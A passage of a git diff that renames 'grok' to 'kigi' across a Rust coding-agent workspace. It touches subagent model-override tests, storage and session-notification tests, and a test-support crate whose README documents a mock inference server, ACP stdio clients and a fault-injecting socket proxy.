@@ -353,7 +353,7 @@ async fn vendor_compat_all_vendors_disabled() {
             ("KIGI_CLAUDE_AGENTS_ENABLED", "false"),
         ])
         .await;
-        assert!(body.contains(MARKER_GROK_SKILL), "grok always present");
+        assert!(body.contains(MARKER_KIGI_SKILL), "kigi always present");
         assert!(!body.contains(MARKER_CURSOR_SKILL));
         assert!(!body.contains(MARKER_CURSOR_SHELL));
         assert!(!body.contains(MARKER_CURSOR_RULE));
diff --git a/crates/codegen/kigi-shell/tests/test_xai_session_update.rs b/crates/codegen/kigi-shell/tests/test_xai_session_update.rs
index 0834eed..92a0e06 100644
--- a/crates/codegen/kigi-shell/tests/test_xai_session_update.rs
+++ b/crates/codegen/kigi-shell/tests/test_xai_session_update.rs
@@ -1,4 +1,4 @@
-//! Integration test for `_x.ai/session/update` notifications.
+//! Integration test for `_kigi/session/update` notifications.
 //!
 //! This test verifies that:
 //! 1. xAI session notifications (e.g., diff_review) can be sent via ext_notification
@@ -123,7 +123,7 @@ async fn test_xai_session_notification_storage_roundtrip() {
 
 /// Test that a `TurnCompleted` terminal round-trips through storage — the
 /// persistence half of the "stuck on Waiting…" fix, where the durable terminal
-/// must survive `updates.jsonl` and reload as a replayable `_x.ai/session/update`.
+/// must survive `updates.jsonl` and reload as a replayable `_kigi/session/update`.
 #[tokio::test]
 async fn test_turn_completed_round_trips_through_storage() {
     let temp_dir = TempDir::new().unwrap();
diff --git a/crates/codegen/kigi-sqlite-journal/src/lib.rs b/crates/codegen/kigi-sqlite-journal/src/lib.rs
index cfddeee..00e9e8d 100644
--- a/crates/codegen/kigi-sqlite-journal/src/lib.rs
+++ b/crates/codegen/kigi-sqlite-journal/src/lib.rs
@@ -562,11 +562,11 @@ mod tests {
 
     #[test]
     fn windows_unc_classifies() {
-        assert!(is_windows_unc(r"\\server\share\grok"));
-        assert!(is_windows_unc(r"\\?\UNC\server\share\grok"));
+        assert!(is_windows_unc(r"\\server\share\kigi"));
+        assert!(is_windows_unc(r"\\?\UNC\server\share\kigi"));
         assert!(is_windows_unc(r"\\?\unc\server\share"));
         assert!(!is_windows_unc(r"\\?\C:\Users\x"));
-        assert!(!is_windows_unc(r"\\.\pipe\grok"));
+        assert!(!is_windows_unc(r"\\.\pipe\kigi"));
         assert!(!is_windows_unc(r"C:\Users\x"));
         assert!(!is_windows_unc("/home/x"));
     }
diff --git a/crates/codegen/kigi-subagent-resolution/src/config.rs b/crates/codegen/kigi-subagent-resolution/src/config.rs
index bf81a25..15822c2 100644
--- a/crates/codegen/kigi-subagent-resolution/src/config.rs
+++ b/crates/codegen/kigi-subagent-resolution/src/config.rs
@@ -189,7 +189,7 @@ mod tests {
         let toml_str = r#"
 description = "Research agent"
 default_capability_mode = "read-only"
-model = "grok-3"
+model = "kigi-3"
 reasoning_effort = "high"
 prompt_file = ".kigi/prompts/researcher.md"
 default_isolation = "worktree"
@@ -197,7 +197,7 @@ default_isolation = "worktree"
         let role: SubagentRole = toml::from_str(toml_str).unwrap();
         assert_eq!(role.description, "Research agent");
         assert_eq!(role.default_capability_mode.as_deref(), Some("read-only"));
-        assert_eq!(role.model.as_deref(), Some("grok-3"));
+        assert_eq!(role.model.as_deref(), Some("kigi-3"));
         assert_eq!(role.reasoning_effort.as_deref(), Some("high"));
         assert_eq!(
             role.prompt_file.as_deref(),
@@ -222,7 +222,7 @@ default_isolation = "worktree"
 instructions = "You are a concise writer."
 description = "A concise writing persona."
 instructions_file = ".kigi/personas/concise.md"
-model = "grok-3-fast"
+model = "kigi-3-fast"
 reasoning_effort = "low"
 default_isolation = "none"
 
@@ -247,7 +247,7 @@ description = "Path to write the summary"
             persona.instructions_file.as_deref(),
             Some(".kigi/personas/concise.md")
         );
-        assert_eq!(persona.model.as_deref(), Some("grok-3-fast"));
+        assert_eq!(persona.model.as_deref(), Some("kigi-3-fast"));
         assert_eq!(persona.reasoning_effort.as_deref(), Some("low"));
         assert_eq!(persona.inputs.len(), 1);
         assert_eq!(persona.inputs[0].name, "review_file");
diff --git a/crates/codegen/kigi-subagent-resolution/src/overrides.rs b/crates/codegen/kigi-subagent-resolution/src/overrides.rs
index 7a4334d..76d12e6 100644
--- a/crates/codegen/kigi-subagent-resolution/src/overrides.rs
+++ b/crates/codegen/kigi-subagent-resolution/src/overrides.rs
@@ -6,7 +6,7 @@ use std::collections::HashMap;
 use std::path::Path;
 
 use kigi_tool_types::{SubagentCapabilityMode, SubagentIsolationMode};
-use kigi_tools::implementations::grok_build::task::types::SubagentRuntimeOverrides;
+use kigi_tools::implementations::kigi::task::types::SubagentRuntimeOverrides;
 use serde::de::DeserializeOwned;
 
 use crate::config::{SubagentPersona, SubagentRole};
@@ -205,7 +205,7 @@ fn resolve_persona_instructions(
 #[cfg(test)]
 mod tests {
     use super::*;
-    use kigi_tools::implementations::grok_build::task::types::ModelOverrideProvenance;
+    use kigi_tools::implementations::kigi::task::types::ModelOverrideProvenance;
 
     /// Helper to build an overrides struct with only the fields we care about.
     fn make_overrides(
@@ -236,26 +236,26 @@ mod tests {
 
     #[test]
     fn explicit_model_overrides_role() {
-        let overrides = make_overrides(Some("grok-light"), None, None, None, None);
+        let overrides = make_overrides(Some("kigi-light"), None, None, None, None);
         let role = SubagentRole {
-            model: Some("grok-3".into()),
+            model: Some("kigi-3".into()),
             ..Default::default()
         };
         let result =
             resolve_effective_overrides(&overrides, Some(&role), &empty_personas(), None, None);
-        assert_eq!(result.model.as_deref(), Some("grok-light"));
+        assert_eq!(result.model.as_deref(), Some("kigi-light"));
     }
 
     #[test]
     fn role_model_used_when_no_explicit() {
         let overrides = make_overrides(None, None, None, None, None);
         let role = SubagentRole {
-            model: Some("grok-3".into()),
+            model: Some("kigi-3".into()),
             ..Default::default()
         };
         let result =
             resolve_effective_overrides(&overrides, Some(&role), &empty_personas(), None, None);
-        assert_eq!(result.model.as_deref(), Some("grok-3"));
+        assert_eq!(result.model.as_deref(), Some("kigi-3"));
     }
 
     #[test]
@@ -265,13 +265,13 @@ mod tests {
         personas.insert(
             "researcher".to_string(),
             SubagentPersona {
-                model: Some("grok-3-fast".into()),
+                model: Some("kigi-3-fast".into()),
                 instructions: Some("Research things.".into()),
                 ..Default::default()
             },
         );
         let result = resolve_effective_overrides(&overrides, None, &personas, None, None);
-        assert_eq!(result.model.as_deref(), Some("grok-3-fast"));
+        assert_eq!(result.model.as_deref(), Some("kigi-3-fast"));
     }
 
     #[test]
@@ -625,9 +625,9 @@ mod tests {
     fn persona_not_found_error_is_non_fatal() {
         // "not found" is a config-level error: persona_error is set but
         // other fields still resolve from role/overrides.
-        let overrides = make_overrides(Some("grok-3"), Some("missing"), None, None, None);
+        let overrides = make_overrides(Some("kigi-3"), Some("missing"), None, None, None);
         let role = SubagentRole {
-            model: Some("grok-light".into()),
+            model: Some("kigi-light".into()),
             default_isolation: Some("worktree".into()),
             ..Default::default()
         };
@@ -640,7 +640,7 @@ mod tests {
         // Non-fatal: other fields ARE resolved (explicit model takes precedence)
         assert_eq!(
             result.model.as_deref(),
-            Some("grok-3"),
+            Some("kigi-3"),
             "explicit model should resolve despite persona error"
         );
     }
@@ -648,7 +648,7 @@ mod tests {
     #[test]
     fn persona_file_error_returns_early_with_defaults() {
         // File I/O errors ARE fatal: early return with defaults.
-        let overrides = make_overrides(Some("grok-3"), Some("broken"), None, None, None);
+        let overrides = make_overrides(Some("kigi-3"), Some("broken"), None, None, None);
         let dir = tempfile::tempdir().unwrap();
         let mut personas = HashMap::new();
         personas.insert(
@@ -660,7 +660,7 @@ mod tests {
             },
         );
         let role = SubagentRole {
-            model: Some("grok-light".into()),
+            model: Some("kigi-light".into()),
             ..Default::default()
         };
         let result = resolve_effective_overrides(&overrides, Some(&role), &personas, None, None);
diff --git a/crates/codegen/kigi-subagent-resolution/src/resume.rs b/crates/codegen/kigi-subagent-resolution/src/resume.rs
index b3d0d2b..d3ff617 100644
--- a/crates/codegen/kigi-subagent-resolution/src/resume.rs
+++ b/crates/codegen/kigi-subagent-resolution/src/resume.rs
@@ -110,7 +110,7 @@ mod tests {
 
     #[test]
     fn matching_type_and_persona_source_has_model() {
-        let source = make_source("general-purpose", Some("impl"), Some("grok-3"));
+        let source = make_source("general-purpose", Some("impl"), Some("kigi-3"));
         let result = validate_resume_identity("general-purpose", Some("impl"), &source);
         assert!(result.is_ok());
     }
@@ -126,7 +126,7 @@ mod tests {
     #[test]
     fn source_model_is_not_validated() {
         // Model is not an identity gate; source model is used only for pinning.
-        let source = make_source("general-purpose", None, Some("grok-3"));
+        let source = make_source("general-purpose", None, Some("kigi-3"));
         let result = validate_resume_identity("general-purpose", None, &source);
         assert!(result.is_ok());
     }
@@ -183,7 +183,7 @@ mod tests {
 
     #[test]
     fn persona_mismatch_still_rejected_when_source_has_model() {
-        let source = make_source("general-purpose", Some("impl"), Some("grok-3"));
+        let source = make_source("general-purpose", Some("impl"), Some("kigi-3"));
         let result = validate_resume_identity("general-purpose", Some("reviewer"), &source);
         assert!(matches!(
             result,
diff --git a/crates/codegen/kigi-system-power/src/linux.rs b/crates/codegen/kigi-system-power/src/linux.rs
index 77a692c..297c24f 100644
--- a/crates/codegen/kigi-system-power/src/linux.rs
+++ b/crates/codegen/kigi-system-power/src/linux.rs
@@ -50,7 +50,7 @@ fn take_inhibitor(proxy: &zbus::blocking::Proxy<'_>) -> Option<zbus::zvariant::O
     proxy
         .call(
             "Inhibit",
-            &("sleep", "grok", "Pause token refresh across sleep", "delay"),
+            &("sleep", "kigi", "Pause token refresh across sleep", "delay"),
         )
         .ok()
 }
diff --git a/crates/codegen/kigi-test-support/Cargo.toml b/crates/codegen/kigi-test-support/Cargo.toml
index cda5abb..d9973a5 100644
--- a/crates/codegen/kigi-test-support/Cargo.toml
+++ b/crates/codegen/kigi-test-support/Cargo.toml
@@ -3,7 +3,7 @@ license = "Apache-2.0"
 name = "kigi-test-support"
 version.workspace = true
 edition.workspace = true
-description = "Shared test-support for grok-build crates: mock inference server, SSE generators, ACP stdio client, headless runner, env sandbox"
+description = "Shared test-support for kigi crates: mock inference server, SSE generators, ACP stdio client, headless runner, env sandbox"
 publish = false
 
 [dependencies]
diff --git a/crates/codegen/kigi-test-support/README.md b/crates/codegen/kigi-test-support/README.md
index f73e165..4f55ad7 100644
--- a/crates/codegen/kigi-test-support/README.md
+++ b/crates/codegen/kigi-test-support/README.md
@@ -1,6 +1,6 @@
 # kigi-test-support
 
-Shared test infrastructure for the grok-build crates: mock inference server,
+Shared test infrastructure for the kigi crates: mock inference server,
 SSE wire-format generators, ACP stdio clients, headless
 runner, and sandboxed process env. Consumed by `kigi-shell` integration
 tests, `kigi-pager-pty-harness` (`ContentController`), and `kigi-sampler`
@@ -20,10 +20,10 @@ test-support surface.
 | `mock_server` | `MockInferenceServer` — `/v1/chat/completions`, `/v1/responses`, `/v1/messages`, `/v1/models`, `/v1/settings`, `/v1/user` on `127.0.0.1:0`. `/v1/models` entries are `MockModelEntry` (re-exported as `MockModel` for PTY tests): `new(id)` / `with_agent_type(id, ty)` plus chainable `with_api_backend`, `with_supports_backend_search(bool)` → `supportsBackendSearch`, `with_supports_reasoning_effort(bool)` → `supportsReasoningEffort`, `with_reasoning_effort(&str)` → `reasoningEffort`, `with_reasoning_efforts(Vec<Value>)` → `reasoningEfforts` (raw option tables/bare strings), all emitted top-level as `parse_remote_model_value` reads them. Three response modes for the inference endpoints, precedence **scripted > required-auth > mode**: (1) **echo** (default) streams `Echo: <last user message>`, whitespace-collapsing; (2) **fixed** via `set_response(text)`, byte-exact delta reconstruction (newlines preserved — fenced code blocks survive); (3) **scripted** via `enqueue_response`. Constructors (`start`, `start_with_models`, `start_with_required_auth`) return `anyhow::Result`. Settings are 404-until-set (`set_settings(impl Serialize)`, `preset_allow_access()` for the `{"allow_access": true}` gate); scripted `/v1/settings` one-shots (`enqueue_response`) take precedence over the steady-state value (stale-snapshot tests). `/v1/user` serves a minimal `UserInfo` whose `subscriptionTier` is controlled by `set_user_subscription_tier(Option<&str>)` (`None` = free); its log entries keep the query string (e.g. `/v1/user?include=subscription`) so subscription-check cadence is countable. Request log: `requests()` (`LogEntry` with body, `authorization`, full POST headers + `header(name)` accessor), `request_bodies()`, `request_count()`, `has_chat_completion_request()` / `has_responses_request()` (exact, per endpoint), `messages_request_count()`, `last_system_prompt()`, `request_log_summary()`. **Storage:** `POST /v1/storage` with flippable 401 (`set_storage_unauthorized`); accepted uploads via `storage_uploads()` → `StorageUpload { path, size, body, authorization }` (`body` retained up to 256 KiB, empty above; `authorization` is the raw header). Runtime knobs: `set_models`, `set_messages_stop_reason`. Shuts down on drop. |
 | `scripted` | Data-only scripting (no axum types in the surface): `SseEvent { event, data }` (`::data`, `::with_event`), `ScriptedBody::{Json, Sse, Raw}` (`Raw` = byte-controllable malformed SSE), `ScriptedResponse { status, headers, body }` (`::sse`, `::json`, `::text`). `enqueue_response(path, response)` queues FIFO **per path**; consumed by the three inference endpoints, falling back to the active mode when empty. Scripted SSE bodies honor the server's `set_chunk_delay` pacing, same as the echo/fixed modes. Validation is eager — bad status/header panics at the enqueue call site. Seed of the phase-2 scriptable-mock format. |
 | `sse` | The three wire formats as event-list builders: `chat_completion_events` / `responses_api_events` / `messages_api_events(text, model, stop_reason)` (echo-style, whitespace-collapsing) plus byte-exact variants `chat_completion_events_exact` / `responses_api_events_exact` (messages is single-delta, byte-exact by construction). The exact/echo split is load-bearing — see the in-module byte-exactness tests. Also the scripted-scenario builders returning `SseEvent`s (for `ScriptedResponse::sse`): `responses_api_reasoning_only_events(reasoning, model)` — reasoning summary deltas completing with a `reasoning` item but no message/output-text, so the shell collector classifies the turn `EmptyReason::ReasoningOnly` (the model-doomloop trigger); `responses_api_reasoning_and_text_events(reasoning, text, model)` — reasoning deltas then a normal text answer (the ordinary reasoning-model turn); `responses_api_reasoning_then_tool_call_events(reasoning, call_id, name, arguments, model)` + its Chat Completions twin `chat_completions_reasoning_then_tool_call_events(...)` — reasoning deltas then one tool call (the think-then-call turn whose tool call finishes the thought and keeps the turn non-empty); the doom-loop check trio: `responses_api_doom_loop_check_events(triggers, reasoning, model)` — a doomed reasoning-only turn with NAMED `response.doom_loop_check` frames re-sent per cumulative prefix of `triggers` plus the terminal `doom_loop_check.triggers` copy on `response.completed`, `responses_api_doom_loop_terminal_only_events(triggers, reasoning, text, model)` — a normal answer whose terminal response alone carries the field, and `responses_api_with_doom_loop_frame(check_frame_data, reasoning, text, model)` — splices one named check frame with a caller-supplied payload (byte-exact `kigi_sampling_types::doom_loop::SAMPLE_CHECK_EVENT_DATA{,_CUMULATIVE}` fixtures or malformed variants) into an ordinary turn. |
-| `acp_client` | `GrokStdioClient` — drives `grok agent stdio` over real pipes through `agent-client-protocol`: spawn variants (`spawn`, `spawn_with_home`, `spawn_with_home_and_env`, `spawn_with_home_env_and_args`), initialize/authenticate, session create/load, prompt, `*_with_timeout` wrappers, captured text + stderr. `RawStdioClient` — raw-wire sibling for bytes the typed `ClientSideConnection` can never produce (escaped-slash methods `"session\/prompt"`, string UUID ids — the Xcode/Foundation shape): `send_line` writes a line verbatim; `response_for_id` matches the response by exact string id (the match IS the id-echo assertion), skips notifications, auto-refuses agent→client requests with `-32601`, and panics on timeout with skipped-traffic diagnostics (count + last lines; `0 other messages` = true silence). Both spawn through one hermetic `spawn_agent_process` (sandbox env + debug-log kill-list exists once) atop `process::spawn_piped_with_stderr_capture` (crate-internal `process` module: pipes, `kill_on_drop`, stderr drain — also used by `leader::LeaderStdioClient`). |
+| `acp_client` | `KigiStdioClient` — drives `kigi agent stdio` over real pipes through `agent-client-protocol`: spawn variants (`spawn`, `spawn_with_home`, `spawn_with_home_and_env`, `spawn_with_home_env_and_args`), initialize/authenticate, session create/load, prompt, `*_with_timeout` wrappers, captured text + stderr. `RawStdioClient` — raw-wire sibling for bytes the typed `ClientSideConnection` can never produce (escaped-slash methods `"session\/prompt"`, string UUID ids — the Xcode/Foundation shape): `send_line` writes a line verbatim; `response_for_id` matches the response by exact string id (the match IS the id-echo assertion), skips notifications, auto-refuses agent→client requests with `-32601`, and panics on timeout with skipped-traffic diagnostics (count + last lines; `0 other messages` = true silence). Both spawn through one hermetic `spawn_agent_process` (sandbox env + debug-log kill-list exists once) atop `process::spawn_piped_with_stderr_capture` (crate-internal `process` module: pipes, `kill_on_drop`, stderr drain — also used by `leader::LeaderStdioClient`). |
 | `headless` | `run_headless(server, args, cwd)` / `run_headless_with_cmd(cmd)` → `HeadlessResult { status, stdout, stderr, timed_out }` (60s cap), `assert_headless_success`, `assert_no_crashes` (panic/SIGSEGV/linker patterns), `stderr_tail`. |
-| `env` | `grok_binary()` (`KIGI_BINARY` env → `CARGO_BIN_EXE` → local debug build of `kigi-tui`), `git_workdir()` (temp git repo, forces full libgit2 init), `test_env_cmd_tokio(cmd, mock_url, home)` (sandboxed HOME **and KIGI_SHARE_DIR** — Windows resolves `~` via USERPROFILE, so HOME alone doesn't sandbox — + mock endpoints + telemetry kill-switches). |
-| `leader` | Unix-only `LeaderStdioClient` (`grok agent --leader stdio`, `env_clear`-hermetic, sandboxed `KIGI_LEADER_SOCKET`; `spawn_with_binary` runs an explicit binary for version-skew lanes, per-role resolution via `leader_binary()` / `client_binary()` honoring `KIGI_BINARY_LEADER` / `KIGI_BINARY_CLIENT`) + lock-file helpers: `leader_lock_path`, `read_leader_pid`, `pid_alive`, `wait_for_live_leader`, `wait_for_new_leader`, `wait_for_replay_notifications`, `leader_log`. |
+| `env` | `kigi_binary()` (`KIGI_BINARY` env → `CARGO_BIN_EXE` → local debug build of `kigi-tui`), `git_workdir()` (temp git repo, forces full libgit2 init), `test_env_cmd_tokio(cmd, mock_url, home)` (sandboxed HOME **and KIGI_SHARE_DIR** — Windows resolves `~` via USERPROFILE, so HOME alone doesn't sandbox — + mock endpoints + telemetry kill-switches). |
+| `leader` | Unix-only `LeaderStdioClient` (`kigi agent --leader stdio`, `env_clear`-hermetic, sandboxed `KIGI_LEADER_SOCKET`; `spawn_with_binary` runs an explicit binary for version-skew lanes, per-role resolution via `leader_binary()` / `client_binary()` honoring `KIGI_BINARY_LEADER` / `KIGI_BINARY_CLIENT`) + lock-file helpers: `leader_lock_path`, `read_leader_pid`, `pid_alive`, `wait_for_live_leader`, `wait_for_new_leader`, `wait_for_replay_notifications`, `leader_log`. |
 | `uds_proxy` | Unix-only `UdsProxy` — frame-aware (4-byte BE length prefix) man-in-the-middle for leader IPC sockets. `UdsProxy::spawn(proxy_path, upstream_path, FaultPlan)`; `FaultPlan { direction, drop_frame, sever_mid_frame, delay, duplicate_frame }` (1-based frame index, per connection per direction); runtime `FaultHandle::sever_now()` + `forwarded(direction)` counters; frame bodies capped at 64 MiB (leader-transport parity — corrupt lengths error instead of allocating). Zero production changes: point `LeaderClient::connect` / `KIGI_LEADER_SOCKET` at the proxy path. |
 
 ## Consumer matrix
diff --git a/crates/codegen/kigi-test-support/src/acp_client.rs b/crates/codegen/kigi-test-support/src/acp_client.rs
index c76793e..763eec9 100644
--- a/crates/codegen/kigi-test-support/src/acp_client.rs
+++ b/crates/codegen/kigi-test-support/src/acp_client.rs
@@ -1,5 +1,5 @@
-//! ACP stdio clients for testing grok sessions end-to-end: the typed
-//! [`GrokStdioClient`] (`agent-client-protocol::ClientSideConnection` —
+//! ACP stdio clients for testing kigi sessions end-to-end: the typed
+//! [`KigiStdioClient`] (`agent-client-protocol::ClientSideConnection` —
 //! authentication, session lifecycle, permissions, notification streaming) and
 //! the raw-wire [`RawStdioClient`] (verbatim JSON-RPC lines for shapes the
 //! typed client can't produce), plus the shared subprocess spawn/stderr-capture
@@ -15,14 +15,14 @@ use kigi_acp_lib::LineBufferedRead;
 use tempfile::TempDir;
 use tokio_util::compat::{TokioAsyncReadCompatExt, TokioAsyncWriteCompatExt};
 
-use crate::env::{grok_binary, test_env_cmd_tokio};
+use crate::env::{kigi_binary, test_env_cmd_tokio};
 use crate::headless::stderr_tail;
 use crate::mock_server::MockInferenceServer;
 use crate::process::spawn_piped_with_stderr_capture;
 
-/// Spawn `grok agent stdio` with the canonical hermetic test env: the sandbox
+/// Spawn `kigi agent stdio` with the canonical hermetic test env: the sandbox
 /// from [`test_env_cmd_tokio`] plus the debug-logging kill-list, so the
-/// hermeticity setup exists exactly once for the typed ([`GrokStdioClient`])
+/// hermeticity setup exists exactly once for the typed ([`KigiStdioClient`])
 /// and raw ([`RawStdioClient`]) harnesses. `leading_args` go before the
 /// `agent stdio` subcommand (global flags); `extra_env` is applied after the
 /// kill-list so a test can still set e.g. `KIGI_DEBUG_LOG=1` explicitly.
@@ -33,7 +33,7 @@ fn spawn_agent_process(
     extra_env: &[(&str, &str)],
     leading_args: &[&str],
 ) -> (tokio::process::Child, Arc<std::sync::Mutex<Vec<u8>>>) {
-    let binary = grok_binary();
+    let binary = kigi_binary();
 
     let mut cmd = tokio::process::Command::new(&binary);
     cmd.args(leading_args)
@@ -107,11 +107,11 @@ impl acp::Client for TestAcpClient {
     }
 }
 
-/// Drives `grok agent stdio` via the ACP protocol over pipes.
+/// Drives `kigi agent stdio` via the ACP protocol over pipes.
 ///
 /// Handles the full lifecycle: spawn → initialize → authenticate → session → prompt.
 /// Child process is killed on drop.
-pub struct GrokStdioClient {
+pub struct KigiStdioClient {
     conn: acp::ClientSideConnection,
     _child: tokio::process::Child,
     home: Option<TempDir>,
@@ -119,7 +119,7 @@ pub struct GrokStdioClient {
     stderr: Arc<std::sync::Mutex<Vec<u8>>>,
 }
 
-impl GrokStdioClient {
+impl KigiStdioClient {
     pub async fn spawn(server: &MockInferenceServer, cwd: &Path) -> Self {
         let home = TempDir::new().expect("create temp home");
         Self::spawn_with_home(server, cwd, home).await
@@ -396,9 +396,9 @@ impl GrokStdioClient {
     }
 }
 
-/// Drives `grok agent stdio` with verbatim newline-delimited JSON-RPC lines.
+/// Drives `kigi agent stdio` with verbatim newline-delimited JSON-RPC lines.
 ///
-/// Exists for wire shapes the typed [`GrokStdioClient`] (`ClientSideConnection`,
+/// Exists for wire shapes the typed [`KigiStdioClient`] (`ClientSideConnection`,
 /// integer ids) can never produce — e.g. Xcode's Swift/Foundation `JSONEncoder`
 /// output: escaped-slash methods (`"session\/prompt"`) and string UUID request
 /// ids. Child process is killed on drop.
diff --git a/crates/codegen/kigi-test-support/src/env.rs b/crates/codegen/kigi-test-support/src/env.rs
index 228182c..2689c31 100644
--- a/crates/codegen/kigi-test-support/src/env.rs
+++ b/crates/codegen/kigi-test-support/src/env.rs
@@ -63,13 +63,13 @@ fn target_dir() -> PathBuf {
         .unwrap_or_else(|| workspace_root().join("target"))
 }
 
-fn local_grok_binary_path() -> PathBuf {
+fn local_kigi_binary_path() -> PathBuf {
     target_dir()
         .join("debug")
         .join(format!("kigi-tui{}", std::env::consts::EXE_SUFFIX))
 }
 
-fn ensure_local_grok_binary(binary: &Path) {
+fn ensure_local_kigi_binary(binary: &Path) {
     if binary.exists() {
         return;
     }
@@ -95,8 +95,8 @@ fn ensure_local_grok_binary(binary: &Path) {
     );
 }
 
-/// Resolve grok binary: `KIGI_BINARY` env (CI) or a locally built `kigi-tui` binary.
-pub fn grok_binary() -> PathBuf {
+/// Resolve kigi binary: `KIGI_BINARY` env (CI) or a locally built `kigi-tui` binary.
+pub fn kigi_binary() -> PathBuf {
     if let Ok(path) = std::env::var("KIGI_BINARY") {
         let p = PathBuf::from(path);
         assert!(p.exists(), "KIGI_BINARY does not exist: {}", p.display());
@@ -110,8 +110,8 @@ pub fn grok_binary() -> PathBuf {
         }
     }
 
-    let binary = local_grok_binary_path();
-    ensure_local_grok_binary(&binary);
+    let binary = local_kigi_binary_path();
+    ensure_local_kigi_binary(&binary);
     binary
 }
 
@@ -149,14 +149,14 @@ pub fn git_workdir() -> TempDir {
     dir
 }
 
-/// Point grok at the mock server with a fake API key and telemetry disabled.
+/// Point kigi at the mock server with a fake API key and telemetry disabled.
 pub fn test_env_cmd_tokio(
     cmd: &mut tokio::process::Command,
     mock_url: &str,
     home: &std::path::Path,
 ) {
     cmd.env("HOME", home)
-        // HOME alone does not sandbox grok on Windows: the product resolves
+        // HOME alone does not sandbox kigi on Windows: the product resolves
         // `~` via `USERPROFILE`/Known Folders (`std::env::home_dir()`), so
         // without an explicit KIGI_SHARE_DIR every spawned child shares the real
         // `%USERPROFILE%\.kigi` — test 1's models_cache.json (which embeds
diff --git a/crates/codegen/kigi-test-support/src/headless.rs b/crates/codegen/kigi-test-support/src/headless.rs
index 317c996..e8b5de5 100644
--- a/crates/codegen/kigi-test-support/src/headless.rs
+++ b/crates/codegen/kigi-test-support/src/headless.rs
@@ -1,6 +1,6 @@
-//! Headless mode (`grok -p`) test runner.
+//! Headless mode (`kigi -p`) test runner.
 //!
-//! Runs the grok binary as a subprocess with the mock server, captures output.
+//! Runs the kigi binary as a subprocess with the mock server, captures output.
 
 use std::path::Path;
 use std::process::ExitStatus;
@@ -9,7 +9,7 @@ use std::time::Duration;
 use tempfile::TempDir;
 use tokio::io::AsyncReadExt as _;
 
-use crate::env::{grok_binary, test_env_cmd_tokio};
+use crate::env::{kigi_binary, test_env_cmd_tokio};
 use crate::mock_server::MockInferenceServer;
 
 pub struct HeadlessResult {
@@ -21,7 +21,7 @@ pub struct HeadlessResult {
 
 const HEADLESS_TIMEOUT_SECS: u64 = 60;
 
-/// Run `grok` with the given args against the mock server, with a 60s timeout.
+/// Run `kigi` with the given args against the mock server, with a 60s timeout.
 /// Uses an isolated HOME and disables telemetry.
 pub async fn run_headless(
     server: &MockInferenceServer,
@@ -29,7 +29,7 @@ pub async fn run_headless(
     cwd: &Path,
 ) -> HeadlessResult {
     let home = TempDir::new().expect("create temp home");
-    let mut cmd = tokio::process::Command::new(grok_binary());
+    let mut cmd = tokio::process::Command::new(kigi_binary());
     cmd.args(args)
         .current_dir(cwd)
         .stdin(std::process::Stdio::null())
@@ -41,10 +41,10 @@ pub async fn run_headless(
 }
 
 pub async fn run_headless_with_cmd(mut cmd: tokio::process::Command) -> HeadlessResult {
-    let binary = grok_binary();
+    let binary = kigi_binary();
     let mut child = cmd
         .spawn()
-        .unwrap_or_else(|e| panic!("failed to spawn grok binary at {}: {e}", binary.display()));
+        .unwrap_or_else(|e| panic!("failed to spawn kigi binary at {}: {e}", binary.display()));
 
     let stdout = child.stdout.take().expect("child stdout missing");
     let stderr = child.stderr.take().expect("child stderr missing");
@@ -70,7 +70,7 @@ pub async fn run_headless_with_cmd(mut cmd: tokio::process::Command) -> Headless
     {
         Ok(result) => (
             result.unwrap_or_else(|e| {
-                panic!("failed to wait for grok binary {}: {e}", binary.display())
+                panic!("failed to wait for kigi binary {}: {e}", binary.display())
             }),
             false,
         ),
@@ -78,7 +78,7 @@ pub async fn run_headless_with_cmd(mut cmd: tokio::process::Command) -> Headless
             let _ = child.kill().await;
             let status = child.wait().await.unwrap_or_else(|e| {
                 panic!(
-                    "failed to kill timed out grok binary {}: {e}",
+                    "failed to kill timed out kigi binary {}: {e}",
                     binary.display()
                 )
             });
diff --git a/crates/codegen/kigi-test-support/src/leader.rs b/crates/codegen/kigi-test-support/src/leader.rs
index c0e8c93..bae78ac 100644
--- a/crates/codegen/kigi-test-support/src/leader.rs
+++ b/crates/codegen/kigi-test-support/src/leader.rs
@@ -1,4 +1,4 @@
-//! Leader-mode (`grok agent --leader stdio`) test harness.
+//! Leader-mode (`kigi agent --leader stdio`) test harness.
 //!
 //! Spawns the real binary as a stdio client whose bridge elects a leader
 //! subprocess hosting the actual sessions, speaks ACP over pipes, and
@@ -14,16 +14,16 @@ use agent_client_protocol::{self as acp, Agent as _};
 use kigi_acp_lib::LineBufferedRead;
 use tokio_util::compat::{TokioAsyncReadCompatExt, TokioAsyncWriteCompatExt};
 
-use crate::env::grok_binary;
+use crate::env::kigi_binary;
 use crate::mock_server::MockInferenceServer;
 use crate::process::spawn_piped_with_stderr_capture;
 
 /// Env var naming the binary that elects/hosts the leader in a two-binary
-/// (version-skew) test. Falls back to [`grok_binary`]'s resolution.
+/// (version-skew) test. Falls back to [`kigi_binary`]'s resolution.
 pub const LEADER_BINARY_ENV: &str = "KIGI_BINARY_LEADER";
 
 /// Env var naming the binary for the second (usually newer) client in a
-/// two-binary test. Falls back to [`grok_binary`]'s resolution.
+/// two-binary test. Falls back to [`kigi_binary`]'s resolution.
 pub const CLIENT_BINARY_ENV: &str = "KIGI_BINARY_CLIENT";
 
 fn role_binary(env_key: &str) -> PathBuf {
@@ -32,17 +32,17 @@ fn role_binary(env_key: &str) -> PathBuf {
         assert!(p.exists(), "{env_key} does not exist: {}", p.display());
         return p;
     }
-    grok_binary()
+    kigi_binary()
 }
 
 /// Binary for the leader-electing side of a version-skew test
-/// (`KIGI_BINARY_LEADER`, else the shared [`grok_binary`] resolution).
+/// (`KIGI_BINARY_LEADER`, else the shared [`kigi_binary`] resolution).
 pub fn leader_binary() -> PathBuf {
     role_binary(LEADER_BINARY_ENV)
 }
 
 /// Binary for the client side of a version-skew test (`KIGI_BINARY_CLIENT`,
-/// else the shared [`grok_binary`] resolution).
+/// else the shared [`kigi_binary`] resolution).
 pub fn client_binary() -> PathBuf {
     role_binary(CLIENT_BINARY_ENV)
 }
@@ -93,7 +93,7 @@ impl acp::Client for LeaderAcpClient {
     }
 
     async fn ext_notification(&self, args: acp::ExtNotification) -> acp::Result<()> {
-        if &*args.method == "x.ai/leader_reconnected" {
+        if &*args.method == "kigi/leader_reconnected" {
             self.capture
                 .reconnected_count
                 .fetch_add(1, Ordering::SeqCst);
@@ -102,7 +102,7 @@ impl acp::Client for LeaderAcpClient {
     }
 }
 
-/// A `grok agent --leader stdio` client subprocess speaking ACP over pipes.
+/// A `kigi agent --leader stdio` client subprocess speaking ACP over pipes.
